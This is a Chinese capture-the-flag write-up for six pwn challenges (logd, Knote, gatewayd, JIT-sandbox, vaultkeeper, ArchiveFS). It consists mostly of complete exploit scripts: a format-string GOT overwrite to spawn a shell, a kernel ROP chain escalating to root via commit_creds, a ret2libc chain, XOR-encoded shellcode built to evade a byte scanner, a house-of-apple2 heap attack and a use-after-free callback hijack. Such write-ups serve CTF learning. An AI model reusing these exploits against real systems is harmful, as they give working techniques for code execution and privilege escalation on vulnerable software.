2026湾区杯wp

更新中(working

Pwn

logd

保护基本全开,仅有Partial RELRO。不出意外是格式化字符串改GOT表。看了一下题目架构,大概是程序会循环收ticket,格式为p16+ChaCha8(明文部分),nonce(密钥)硬编码在二进制里。

总的来说是一个crypto-pwn

解密过程

因为没有隐藏符号表,可以用nm读出符号,我就列几个关键的

CHACHA_KEY @ .rodata 0x2060 : "ChaCha8T1ck3tK3y20260psChannelXX"   (32B)
BF_KEY     @ 0x2080 : "L06d-S3cr3t-K3y!"                          (16B Blowfish 密钥)
PW_CT      @ 0x2090 : 登录口令密文

用 BF_KEY ECB 解密 PW_CT 即得 L0gd-Ma1nT-2026!。

#!/usr/bin/env python3
"""Client-side crypto for logd: Blowfish (pi-digit tables, key schedule, decrypt)
and ChaCha8 keystream, matching the service implementation."""
import struct

# ---------------- Blowfish ----------------

def _arctan_inv(x, scale):
    total = 0
    k = 0
    x2 = x * x
    term = scale // x
    while term:
        t = term // (2 * k + 1)
        total += t if k % 2 == 0 else -t
        term //= x2
        k += 1
    return total


def _pi_words():
    n = 8400
    scale = 16 ** n
    pi = 16 * _arctan_inv(5, scale) - 4 * _arctan_inv(239, scale)
    frac = pi - 3 * scale
    words = []
    v = frac
    for i in range(18 + 4 * 256):
        w = 0
        for _ in range(8):
            v *= 16
            d, v = divmod(v, scale)
            w = (w << 4) | int(d)
        words.append(w)
    return words


_W = _pi_words()
P_INIT = _W[:18]
S_INIT = [_W[18 + 256 * j:18 + 256 * (j + 1)] for j in range(4)]

M32 = 0xFFFFFFFF


def _F(S, x):
    return (((S[0][x >> 24] + S[1][(x >> 16) & 0xFF]) & M32 ^ S[2][(x >> 8) & 0xFF]) + S[3][x & 0xFF]) & M32


def bf_key_schedule(key: bytes):
    P = P_INIT[:]
    S = [row[:] for row in S_INIT]
    for i in range(18):
        kw = 0
        for j in range(4):
            kw = (kw << 8) | key[(4 * i + j) % len(key)]
        P[i] ^= kw

    def enc(L, R):
        for i in range(16):
            L ^= P[i]
            R ^= _F(S, L)
            L, R = R, L
        L, R = R, L
        R ^= P[16]
        L ^= P[17]
        return L, R

    L = R = 0
    for i in range(0, 18, 2):
        L, R = enc(L, R)
        P[i], P[i + 1] = L, R
    for j in range(4):
        for i in range(0, 256, 2):
            L, R = enc(L, R)
            S[j][i], S[j][i + 1] = L, R
    return P, S


def bf_decrypt_block(P, S, block: bytes) -> bytes:
    L = struct.unpack(">I", block[:4])[0]
    R = struct.unpack(">I", block[4:])[0]
    L ^= P[17]
    R ^= P[16]
    L, R = R, L
    for i in reversed(range(16)):
        L, R = R, L
        R ^= _F(S, L)
        L ^= P[i]
    return struct.pack(">II", L, R)


def bf_encrypt_block(P, S, block: bytes) -> bytes:
    L = struct.unpack(">I", block[:4])[0]
    R = struct.unpack(">I", block[4:])[0]
    for i in range(16):
        L ^= P[i]
        R ^= _F(S, L)
        L, R = R, L
    L, R = R, L
    R ^= P[16]
    L ^= P[17]
    return struct.pack(">II", L, R)


def blowfish_ecb_decrypt(key: bytes, ct: bytes) -> bytes:
    P, S = bf_key_schedule(key)
    return b"".join(bf_decrypt_block(P, S, ct[i:i + 8]) for i in range(0, len(ct), 8))


# ---------------- ChaCha8 ----------------

SIGMA = (0x61707865, 0x3320646E, 0x79622D32, 0x6B206574)


def _rol(x, n):
    return ((x << n) | (x >> (32 - n))) & M32


def _qr(x, a, b, c, d):
    x[a] = (x[a] + x[b]) & M32; x[d] ^= x[a]; x[d] = _rol(x[d], 16)
    x[c] = (x[c] + x[d]) & M32; x[b] ^= x[c]; x[b] = _rol(x[b], 12)
    x[a] = (x[a] + x[b]) & M32; x[d] ^= x[a]; x[d] = _rol(x[d], 8)
    x[c] = (x[c] + x[d]) & M32; x[b] ^= x[c]; x[b] = _rol(x[b], 7)


def chacha8_crypt(data: bytes, key: bytes, nonce: bytes) -> bytes:
    st = list(SIGMA) + list(struct.unpack("<8I", key)) + [0] + list(struct.unpack("<3I", nonce))
    out = bytearray()
    while len(out) < len(data):
        x = st[:]
        for _ in range(4):
            _qr(x, 0, 4, 8, 12); _qr(x, 1, 5, 9, 13); _qr(x, 2, 6, 10, 14); _qr(x, 3, 7, 11, 15)
            _qr(x, 0, 5, 10, 15); _qr(x, 1, 6, 11, 12); _qr(x, 2, 7, 8, 13); _qr(x, 3, 4, 9, 14)
        ks = struct.pack("<16I", *[((x[i] + st[i]) & M32) for i in range(16)])
        st[12] += 1
        take = min(64, len(data) - len(out))
        out += bytes(a ^ b for a, b in zip(data[len(out):len(out) + take], ks))
    return bytes(out)


if __name__ == "__main__":
    # selftest: Schneier vector key=00*8 pt=00*8 -> 4ef997456198dd78
    P, S = bf_key_schedule(b"\x00" * 8)
    ct = bf_encrypt_block(P, S, b"\x00" * 8)
    assert ct.hex() == "4ef997456198dd78", ct.hex()
    assert bf_decrypt_block(P, S, ct) == b"\x00" * 8
    print("blowfish selftest ok")
    key = b"ChaCha8T1ck3tK3y20260psChannelXX"
    nonce = b"T1ck3tN0nce!"
    ks = chacha8_crypt(b"\x00" * 64, key, nonce)
    print("chacha8 ks[0:64]:", ks.hex())
$ python3 -c "from logd_crypto import blowfish_ecb_decrypt as d; \
  print(d(b'L06d-S3cr3t-K3y!', bytes.fromhex('242a88b6ea0319160ede32103990edda')))"
→ b'L0gd-Ma1nT-2026!'

得到密钥L0gd-Ma1nT-2026!

拿到密钥后,由于main中直接就有print(buf);

buf就是ChaCha8解密后的ticket明文,可以看出是一个格式化字符串漏洞
fmt 缓冲区起点对应 %58$

from pwn import *
import re
import sys
sys.path.insert(0,'附件')
from logd_crypto import chacha8_crypt
context.log_level='info'
KEY=b"ChaCha8T1ck3tK3y20260psChannelXX"; NONCE=b"T1ck3tN0nce!"
def ticket(payload):
    payload = payload[:0x40]
    return p16(len(payload)) + chacha8_crypt(payload, KEY, NONCE)
def send_fmt(p, fmt):
    p.recvuntil(b"ticket>\n", timeout=5)
    p.send(ticket(fmt))
    return p.recvuntil(b"ticket>\n", timeout=5, drop=True)

REMOTE = len(sys.argv)>1 and sys.argv[1]=='r'
libc = ELF("附件/libc.so.6" if REMOTE else "/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
BUFSLOT = 58
p = remote("47.93.236.122", 24686) if REMOTE else process("./附件/logd")
p.recvuntil(b"password: ", timeout=5)
p.sendline(b"L0gd-Ma1nT-2026!")

# stage1: PIE base
o = send_fmt(p, b"|%72$p").decode()
base = int(o.strip("|").replace("(nil)","0x0"),16) - 0x1140
assert base & 0xfff == 0
log.success("PIE base %#x", base)
got_printf = base + 0x5028

# stage2: leak printf addr via %s (pointer at buffer offset 40 -> slot 63)
fmt = b"|%63$s|".ljust(40, b"A") + p64(got_printf)
r = send_fmt(p, fmt)
m = re.search(rb"\|(.*?)\|A+", r)
printf_addr = u64(m.group(1).ljust(8, b"\0"))
libc.address = printf_addr - libc.symbols['printf']
log.success("libc base %#x (printf %#x)", libc.address, printf_addr)

# stage3: overwrite printf GOT with system (byte-by-byte, low3 bytes differ)
sysm = libc.symbols['system']
got0 = u64(p64(printf_addr)[:8]) & 0xffffffff
diffs = [(i, (sysm ^ printf_addr) ) for i in range(4)]
# build writes: use %hn for low16 if needed + %hhn for bytes 2,3
n1 = sysm & 0xffff
n2 = (((sysm>>16)&0xff) - (n1 % 256)) % 256
n3 = (((sysm>>24)&0xff) - ((n1+n2) % 256)) % 256
fmt = (b"%"+str(n1).encode()+b"c%63$hn"
       + b"%"+str(n2).encode()+b"c%64$hhn"
       + b"%"+str(n3).encode()+b"c%65$hhn")
fmt = fmt.ljust(40, b"A") + p64(got_printf) + p64(got_printf+2) + p64(got_printf+3)
send_fmt(p, fmt)

# stage4: printf("/bin/sh") == system("/bin/sh")
p.recvuntil(b"ticket>\n", timeout=5)
p.send(ticket(b"/bin/sh"))
sleep(0.5)
p.sendline(b"echo PWNED; ls /; ls .; find / -maxdepth 3 -name *flag* 2>/dev/null; cat /flag* 2>/dev/null")
print(p.recvrepeat(8).decode(errors="replace"))

flag{b622dfff-786c-4cb4-8699-f22c5d3d7f3d}

Knote

一道内核栈溢出

存在两个ioctl命令字

0x4b4e01可以把一个内核指针传回用户态。这里就有一个KASLR泄漏

而0x4b4e02则是根据用户提供‘{buf,len}’从用户态拷贝到内核栈上一个0x58字节的缓冲区

根据这个我们就可以做一个内核栈溢出

内核缓解机制有SMEP ,SMAP和KPIT

分别是内核态不能跳用户态代码,不能直接模块用户态数据,从内核返回用户态要切页表。

内核自带有KPTI trampoline可以解决

KPTI trampoline 的 iretq 需要完整的 RIP/CS/RFLAGS/RSP/SS 五元组

unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(void) {
    asm volatile(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n popq %2\n"
        "movq %%rsp, %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) :: "memory");
}

直接溢出后塞rop链就好,len没有做限制

触发

args.buf = (unsigned long)payload;
args.len = 0x58 + i * 8;                    // 溢出长度
ioctl(fd, 0x4b4e02, &args);                 // ioctl 返回即 ret 进链

nc链接是一个busybox rootfs

我们把exp编码

uuencode exp_remote x > exp.uu       

然后发送执行就行

// knote: KASLR leak + kernel stack overflow -> commit_creds(&init_cred) -> KPTI trampoline
// nostdlib build for console transfer (xxd -r -p)
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_ioctl 16
#define SYS_exit 60

static long sys3(long n, long a, long b, long c) {
    long r;
    asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c)
                 : "rcx", "r11", "memory");
    return r;
}
#define out(s) sys3(SYS_write, 1, (long)s, sizeof(s) - 1)

static unsigned long user_cs, user_ss, user_rflags, user_sp;
static void save_state(void) {
    asm volatile("movq %%cs, %0\n movq %%ss, %1\n pushfq\n popq %2\n movq %%rsp, %3\n"
                 : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
                 :: "memory");
}

void back(void);
void _start(void) {
    save_state();
    int fd = (int)sys3(SYS_open, (long)"/dev/knote", 0, 0);
    if (fd < 0) { out("E:open\n"); goto fail; }

    unsigned long leak = 0;
    if (sys3(SYS_ioctl, fd, 0x4b4e01, (long)&leak) < 0) { out("E:leak\n"); goto fail; }
    unsigned long kbase = leak - 0xd38044;               // &_printk
    if ((kbase & 0xfffff) != 0) { out("E:kbase\n"); goto fail; }
    out("[*] leaked\n");

    struct { unsigned long buf; unsigned long len; } args;
    unsigned long payload[64];
    for (int i = 0; i < 64; i++) payload[i] = 0x4141414141414141UL;
    unsigned long *rop = payload + 0x58 / 8;
    int i = 0;
    rop[i++] = kbase + 0xb3820;      // pop rdi ; ret
    rop[i++] = kbase + 0x1e8a8c0;    // &init_cred
    rop[i++] = kbase + 0xf86f0;      // commit_creds
    rop[i++] = kbase + 0xe011a6;     // swapgs_restore_regs_and_return_to_usermode+0x36
    rop[i++] = 0;                    // rax slot
    rop[i++] = 0;                    // rdi slot
    rop[i++] = (unsigned long)back;  // RIP
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    args.buf = (unsigned long)payload;
    args.len = 0x58 + i * 8;
    sys3(SYS_ioctl, fd, 0x4b4e02, (long)&args);
    out("E:ret\n");
fail:
    sys3(SYS_exit, 1, 0, 0);
}

// reached from ROP with root creds
void back(void) {
    out("[+] root, flag:\n");
    int ff = (int)sys3(SYS_open, (long)"/flag", 0, 0);
    char buf[128] = {0};
    long n = sys3(SYS_read, ff, (long)buf, sizeof(buf) - 1);
    if (n > 0) sys3(SYS_write, 1, (long)buf, n);
    sys3(SYS_write, 1, (long)"\n", 1);
    sys3(SYS_exit, 0, 0, 0);
}
from pwn import *
import time
context.log_level = 'info'
UU = open('exp.uu').read().splitlines()

p = remote('47.94.83.126', 20543)
p.recvuntil(b'$ ', timeout=120)

p.sendline(b"cat > /tmp/e.uu <<'ZZ'")
time.sleep(1); p.clean(1)
for ln in UU:
 p.sendline(ln.encode()); time.sleep(0.03)
p.sendline(b'ZZ')
time.sleep(2); p.clean(1)

def run(cmd, t=3):
 p.sendline(cmd.encode()); time.sleep(t)
 return p.clean(2).decode(errors='replace')

print(run('wc -c /tmp/e.uu'))
print(run('uudecode /tmp/e.uu && chmod +x /tmp/x && echo DECODE_OK'))
print(run('/tmp/x; echo RUN_DONE', 5))
data = p.recvrepeat(5).decode(errors='replace')
print(data)
assert 'flag{' in data, 'no flag'
log.success('REMOTE PWNED')
p.close()

flag{679cb27c-a8f2-4e48-b734-8438710a6d57}

gatewayd

sm4硬编码认证

from pwn import *
from sm4 import SM4
import sys

context.log_level = 'info'
KEY = b"GW-SM4-2026-K3y!"
POP_RDI, RET = 0x401ad3, 0x40101a
PUTS_GOT, PUTS_PLT, MAIN = 0x404018, 0x4010e0, 0x401a0e

if len(sys.argv) > 1 and ':' in sys.argv[1]:
    h, p = sys.argv[1].split(':')
    io = remote(h, int(p))
    libc = ELF('附件/libc.so.6', checksec=False)
else:
    io = process('./gw')
    libc = ELF('libs23/libc.so.6', checksec=False)

def frame(cmd, typ, sid, tlvs):
    body = b''.join(bytes([t]) + p16(len(v), 'big') + v for t, v in tlvs)
    return b'WG' + bytes([cmd, typ]) + p32(sid) + bytes([len(tlvs)]) + body

def rf():
    h = io.recvn(12); ln = u16(h[10:12])
    return h[2], (io.recvn(ln) if ln else b'')

def auth():
    io.clean(0.5)
    io.send(frame(1, 0, 0, []))
    _, chal = rf()
    io.send(frame(2, 0, 0, [(2, SM4(KEY).encrypt_block(chal)), (0, b'')]))
    code, data = rf()
    assert code == 0x82, 'auth failed'
    return u32(data[:4])

def pwn_once(sid, *chain_vals):
    chain = b''.join(p64(v) for v in chain_vals)[:0x38].ljust(0x38, b'\0')
    ct = SM4(KEY).ctr_crypt(b'A'*0xc8 + chain, sid)
    io.send(frame(3, 0, sid, [(0x20, ct)]))
    io.recvn(12 + 17)      # consume "device registered" reply
    io.send(b'XX' + b'\x00'*7)  # bad frame -> serve_loop returns into ROP

# stage 1: leak libc via puts(GOT), return to main
sid = auth()
log.success('sid = %#x' % sid)
pwn_once(sid, RET, POP_RDI, PUTS_GOT, PUTS_PLT, MAIN)
leak = u64(io.recvline()[:6].ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success('puts @ %#x' % leak)
log.success('libc @ %#x' % libc.address)

# stage 2: system("/bin/sh")
sid = auth()
pwn_once(sid, RET, RET, POP_RDI, next(libc.search(b'/bin/sh\x00')), libc.symbols['system'])
io.sendline(b'echo PWNED; cat /flag*; id')
io.interactive()

flag{156bea6c-179b-48f3-b177-b6f7ee9b55c8}

JIT-sandbox

fuzz测试,

程序 read 512 字节到 RW 内存页,静态扫描拦截:syscall 指令(0f 05)、0x3b、/bin/sh,随后页改 R-X、加载 seccomp 白名单(仅 read/write/openat/close/mprotect/exit/exit_group),直接跳进 payload。三个关键点:

  1. 页不可写:解混淆要写内存,但页已是 R-X —— 利用 run_payload 留在 r15 的 jit_commit(内置 mprotect(page, 0x1000, RWX) stub),payload 开头 call r15 拿到可写页(mprotect 在白名单里);
  2. 绕过字节扫描:真实 ORW 代码整体 XOR 编码,前面只放一个不含任何敏感字节的解码循环(0f 05 扫描连跨字节边界和文件首尾都查,所以选 key 时要连同头尾一起扫);
  3. syscall 选用:白名单里没有 open(2),要用 openat(0x101)(rdi=AT_FDCWD=-100, rsi=path——中途还把参数顺序写反了一次);远程 flag 路径不是 /flag,最终版做了多路径探测表(32 字节步长对齐)依次尝试。

flag{a9eb19bd-2b62-4674-b1e0-3f5231fc1e75}

#!/usr/bin/env python3
# JIT Sandbox multi-path payload generator.
# Produce sc_multi.bin : XOR self-decoding ORW shellcode using openat(257).
# Tries several common flag paths (32-byte-stride name table).
from pwn import *
context.arch = 'amd64'

plain = asm('''
    xor ebx, ebx
next_name:
    lea rsi, [rip+names]
    mov rax, rbx
    shl rax, 5
    add rsi, rax
    cmp byte ptr [rsi], 0
    je done
    mov eax, 257
    mov rdi, -100
    xor edx, edx
    syscall
    cmp eax, 0
    js advance
    mov edi, eax
    xor eax, eax
    lea rsi, [rip+buf]
    mov edx, 120
    syscall
    test eax, eax
    jle advance
    mov edx, eax
    mov eax, 1
    mov edi, 1
    lea rsi, [rip+buf]
    syscall
    jmp done
advance:
    inc ebx
    jmp next_name
done:
    mov eax, 60
    xor edi, edi
    syscall
.balign 32
names:
    .string "/flag"
.balign 32
    .string "/flag.txt"
.balign 32
    .string "flag"
.balign 32
    .string "flag.txt"
.balign 32
    .string "/home/ctf/flag"
.balign 32
    .string "/home/ctf/flag.txt"
.balign 32
buf:
    .space 120
''')

# Replicate the server's static scanner on the WHOLE uploaded buffer:
#  - no 0x3b byte, no 0x0f 0x05 (syscall), no "/bin/sh"
#  - boundaries matter too (sc[0]==5 / sc[-1]==0x0f can complete a syscall instr)
def clean(sc):
    if b'/bin/sh' in sc:
        return False
    if 0x3b in sc:
        return False
    if sc[0] == 5 or sc[-1] == 0x0f:
        return False
    i = 0
    while True:
        j = sc.find(b'\x0f', i)
        if j < 0:
            return True
        if j + 1 < len(sc) and sc[j + 1] == 5:
            return False
        i = j + 1

for K in range(1, 256):
    head = asm(f'''
        lea rdi, [rip+data]
        and rdi, -4096
        mov esi, 4096
        mov edx, 7
        mov eax, 10
        call r15
        lea rsi, [rip+data]
        mov ebx, {len(plain)}
    1:  xor byte ptr [rsi], {K}
        inc rsi
        dec ebx
        jnz 1b
        jmp data
    data:
    ''')
    sc = head + bytes(c ^ K for c in plain)
    if clean(sc) and len(sc) <= 0x200:
        open('sc_multi.bin', 'wb').write(sc)
        print('K=%#x len=%d' % (K, len(sc)))
        break
else:
    print('no key found')

vaultkeeper

堆,走house of apple2

from pwn import *
import sys
import sys
context.log_level='info'
STEP=0
import os

# libc 2.39 offsets (from libc6-dbg symbols)
OFF_MAIN_ARENA = 0x203ac0
OFF_SYSTEM     = 0x58750
OFF_IO_LIST_ALL= 0x2044c0
OFF_WFILE_JUMPS= 0x202228

REMOTE = len(sys.argv)>1 and sys.argv[1]=='r'
if REMOTE:
    p = remote(sys.argv[2], int(sys.argv[3]))
else:
    p = process("./bin/vault_patched")

slots = [None]*16   # track slot index assignment (first free)
def my_store(size):
    p.recvuntil(b"> "); p.sendline(b"1")
    p.recvuntil(b"Size: "); p.sendline(str(size).encode())
    p.recvuntil(b"Stored in slot ")
    i = int(p.recvline().strip().rstrip(b"."))
    assert slots[i] is None; slots[i] = size
    return i
def my_edit(i, data):
    p.recvuntil(b"> "); p.sendline(b"2")
    p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
    p.recvuntil(b"Data: "); p.send(data)
def my_view(i):
    p.recvuntil(b"> "); p.sendline(b"3")
    p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
    d = p.recvn(slots[i], timeout=5)
    return d
def my_discard(i):
    p.recvuntil(b"> "); p.sendline(b"4")
    p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
    p.recvuntil(b"Discarded.")
    slots[i] = None
def my_enhance(i, data):
    p.recvuntil(b"> "); p.sendline(b"6")
    p.recvuntil(b"Slot: "); p.sendline(str(i).encode())
    p.recvuntil(b"Enhanced data: "); p.send(data)

# heap layout offsets from heap_base (simulated, deterministic):
# S1@2a0(0x500) G@7a0(0x30) | rem4e0@2c0: F1..F6 (0x90 each), rem180@620: F7, remf0@6b0: A? no...
# G2(0x58)@740-hole? see notes: F7@620, rem f0@6b0 consumed by A? -> G2@6b0? recheck in comments
# Final: A@7d0(0x90) B@860(0x90) C@8f0(0x60) D@950(0x90) F@9e0(0x60)
OFF = dict(A=0x800, B=0x890, C=0x920, D=0x980, F=0xa10)  # data addrs rel heap_base

# ---- unlock enhance ----
p.recvuntil(b"> "); p.sendline(b"31337")
p.recvuntil(b"Master key: "); p.sendline(b"V4ult_0verfl0w!!")
p.recvuntil(b"granted.")

# ---- libc leak ----
s1 = my_store(0x20)
s0 = my_store(0x4f8)
guard2 = my_store(0x20)
my_discard(s0)
sL = my_store(0x18)
leak = u64(my_view(sL)[:8])
libc = leak - 0x203f50
log.success("libc base %#x", libc)
assert libc & 0xfff == 0
my_discard(s1); my_discard(guard2); my_discard(sL)   # free slots for later

# ---- setup ----
fillers = [my_store(0x88) for _ in range(7)]
g2 = my_store(0x58)            # consume rem -> 0x90 left
g3 = my_store(0x88)            # dummy: consume last remainder so A..F come from top contiguously
A = my_store(0x88); B = my_store(0x88); C = my_store(0x58); D = my_store(0x88); F = my_store(0x58)
c_buf = bytearray(b"\x00"*0x58); c_buf[0x50:0x58] = p64(0xf0)  # D.prev_size for unsorted check
for f_ in fillers: my_discard(f_)   # tcache[0x90] = 7
log.info("STEP my_discard(B)")
my_discard(B)                      # B -> unsorted
# enhance(C) MUST be after discard(B): if D.prev_inuse were cleared beforehand,
# free(B) would treat C as free and try to unlink it -> "corrupted size vs prev_size".
# free(B) only rewrites C's OWN header (prev_size/inuse); D.prev_size & D.size are
# still ours to set here for the malloc(0xe8) unsorted exact-fit checks.
my_enhance(C, bytes(c_buf) + b"\x90")  # D.prev_size=0xf0, clear D.prev_inuse (0x91->0x90)

# ---- overlap ----
log.info("STEP my_enhance(A")
my_enhance(A, b"A"*0x88 + b"\xf1") # B.size: 0x91 -> 0xf1
log.info("STEP E = my_store")
E = my_store(0xe8)                  # E = B chunk as 0xf0, overlapping C
E_data = OFF['B']

# ---- heap leak ----
log.info("STEP my_discard(C)                       # tcache")
my_discard(C)                       # tcache[0x60] head=C, fd = C>>12
vE = my_view(E)
open("/tmp/viewE.bin","wb").write(vE)
print("viewE:", vE.hex())
heap_page = u64(vE[0x90:0x98])
heap = heap_page << 12
log.success("heap base %#x", heap)
absA = lambda off: heap + off

# ---- prepare D: fake wide vtable ----
D_data = absA(OFF['D'])
# wide_data = E_data+0x18  =>  wide_data+0xe0 = *(D_data+8) = wide vtable V = D_data+0x10,
# and _IO_WDOALLOCATE calls V->__doallocate (offset 0x68) = *(D_data+0x78) = system.
# (_IO_wfile_overflow reaches the doalloc path only when wide->_IO_write_base==NULL,
#  i.e. fake_FILE+0x18+0x18 = e[0x30] must stay 0.)
d_buf = p64(0) + p64(D_data + 0x10)   # [D]=0(unused), [D+8]=&(D+0x10)=wide vtable
d_buf = d_buf.ljust(0x78, b"\x00") + p64(libc + OFF_SYSTEM)   # (D+0x10)+0x68 -> [D+0x78]=system
d_buf = d_buf.ljust(0x88, b"\x00")
log.info("STEP my_edit(D,")
my_edit(D, d_buf)

# ---- re-free C with count=2, head=C ----
log.info("STEP C2 = my_store(0x58)")
C2 = my_store(0x58)                 # pops C back
my_discard(F)                       # count1 head=F
my_discard(C2)                      # count2 head=C

# ---- fake FILE in E ----
e = bytearray(b"\x00"*0xe8)
e[0x00:0x08] = b" sh\x00\x00\x00\x00\x00"
e[0x20:0x28] = p64(0)               # _IO_write_base
e[0x28:0x30] = p64(1)               # _IO_write_ptr
e[0x68:0x70] = p64(0)               # _chain
e[0x88:0x90] = p64(D_data + 0x20)   # _lock
e[0xa0:0xa8] = p64(absA(E_data) + 0x18)  # _wide_data (wide+0x18 = _IO_write_base must be NULL)
e[0xc0:0xc4] = p32(0)               # _mode
e[0xd8:0xe0] = p64(libc + OFF_WFILE_JUMPS)
log.info("STEP my_edit(E,")
my_edit(E, bytes(e))

# ---- poison tcache: C.fd -> &_IO_list_all ----
c_fd_addr = absA(OFF['C'])
target = libc + OFF_IO_LIST_ALL
poison = (c_fd_addr >> 12) ^ target
e2 = bytearray(e); e2[0x90:0x98] = p64(poison)
my_edit(E, bytes(e2))

log.info("STEP C3 = my_store")
C3 = my_store(0x58)                 # pops C
log.info("STEP T = my_store")
T = my_store(0x58)                  # returns &_IO_list_all
log.info("STEP my_edit(T,")
my_edit(T, p64(absA(E_data)).ljust(0x58, b"\x00"))

# ---- trigger ----
p.recvuntil(b"> "); p.sendline(b"5")
sleep(0.5)
p.sendline(b"echo PWNED; cat /flag* /*/flag* 2>/dev/null; id")
print(p.recvrepeat(10).decode(errors="replace"))

flag{bbbd3972-143e-4314-a1a5-23b1ad17f023}

ArchiveFS

UAF,tcache poisoning,泄露pie

#!/usr/bin/env python3
# ArchiveFS pwn exploit
#
# Bugs:
#  - recycle_document frees a doc's body but keeps docs[i] (and body ptr), only
#    sets state=3 -> UAF on a freed 0x50 chunk that we can still revise()/preview().
#  - revise_document checks state != 0 (3 passes) -> UAF write into the freed body.
#  - struct and body are BOTH malloc(0x40) -> same tcache 0x50 bin, so a freed
#    body can be reallocated as another doc's *struct*.
#
# Plan (no heap leak, no safe-linking math):
#  1. create doc0 (0x40)            -> struct0 + body0
#  2. preview doc0  -> leak PIE base (cb prints its own address)
#  3. recycle doc0  -> frees body0 into tcache[0x50]  (UAF)
#  4. create doc1 (0x40)            -> its *struct* is carved from freed body0
#  5. revise doc0   -> writes 0x40 into doc0->body == doc1->struct, forging
#                      doc1.cb (+0x30) = stream_sync_driver
#  6. preview doc1  -> calls doc1.cb = stream_sync_driver -> open("./flag"),
#                      read, write(1), exit.  (seccomp allows ORW)
import sys
from pwn import *

context.log_level = 'info'

OFF_PREVIEW_CB = 0x1712   # preview_callback (its address is printed as token)
OFF_SYNC       = 0x17a9   # stream_sync_driver: open("./flag")+read+write+exit

def start():
    if len(sys.argv) > 2:
        return remote(sys.argv[1], int(sys.argv[2]))
    return process('./afs')

io = start()

def create(idx, size, name=b'D', body=b'B'):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'document id: ', str(idx).encode())
    io.sendlineafter(b'content size: ', str(size).encode())
    io.sendafter(b'name: ', name.ljust(0x20, b'\x00'))
    io.sendafter(b'content: ', body.ljust(size, b'\x00'))
    io.recvuntil(b'document archived')

def preview(idx):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'document id: ', str(idx).encode())
    io.recvuntil(b'plugin token: ')
    tok = int(io.recvline().strip(), 16)
    io.recvuntil(b'---- document body ----\n')
    d = io.recvuntil(b'\n---- end preview ----', drop=True)
    return tok, d

def recycle(idx):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'document id: ', str(idx).encode())

def revise(idx, data):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'document id: ', str(idx).encode())
    io.sendafter(b'revision data: ', data)
    io.recvuntil(b'draft revised')

# ---- doc0 ----
create(0, 0x40)

# PIE leak
tok, _ = preview(0)
base = tok - OFF_PREVIEW_CB
log.success('pie base = %#x' % base)

# free body0 (doc0 body) -> tcache[0x50], UAF
recycle(0)

# doc1's struct is carved from the just-freed body0 (same 0x50 bin)
create(1, 0x40)

# overwrite doc1's struct (= doc0's freed body) through the UAF revise.
# struct layout: name[0x20] | body@+0x20 | size@+0x28 | cb@+0x30 | state@+0x38
payload = b'\x00' * 0x30 + p64(base + OFF_SYNC) + p64(1)
log.info('forging doc1.cb -> %#x' % (base + OFF_SYNC))
revise(0, payload)

# preview doc1 -> calls cb == stream_sync_driver -> prints ./flag
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'document id: ', b'1')
data = io.recvrepeat(3)
log.info('output tail: %r' % data[:300])
m = re.search(rb'(?:hgame|flag|ctf)\{[^}\n]*\}', data)
if m:
    log.success('FLAG: %s' % m.group().decode())
else:
    log.warning('no flag regex; full output below')
    print(data)
io.close()

flag{dd46612c-c802-4c37-a495-d2cf2c4b0a5c